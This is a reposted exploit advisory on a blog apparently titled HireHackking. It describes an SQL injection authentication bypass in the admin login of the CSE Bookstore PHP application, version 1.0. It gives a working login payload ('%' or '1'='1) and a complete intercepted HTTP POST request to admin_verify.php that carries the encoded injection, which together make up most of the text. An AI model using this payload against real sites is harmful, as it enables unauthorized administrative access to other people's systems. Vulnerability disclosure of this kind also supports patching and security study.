Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86393571

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: CSE Bookstore Authentication Bypass
# Date: 27/10/2020
# Exploit Author: Alper Basaran
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10 Enterprise 1909


CSE Bookstore is vulnerable to an authentication bypass vulnerability on the admin panel. 
By default the admin panel is located at /admin.php and the administrator interface can be accessed by unauthorized users exploiting the SQL injection vulnerability.

Payload: 
Name: admin
Pass: %' or '1'='1 

Sample BurpSuite intercept:

POST /bookstore/admin_verify.php HTTP/1.1
Host: 192.168.20.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://192.168.20.131
Connection: close
Referer: http://192.168.20.131/bookstore/admin.php
Cookie: PHPSESSID=hmqnib0ihkvo235jor7mpfoupv
Upgrade-Insecure-Requests: 1

name=admin&pass=%25%27+or+%271%27%3D%271&submit=Submit+Query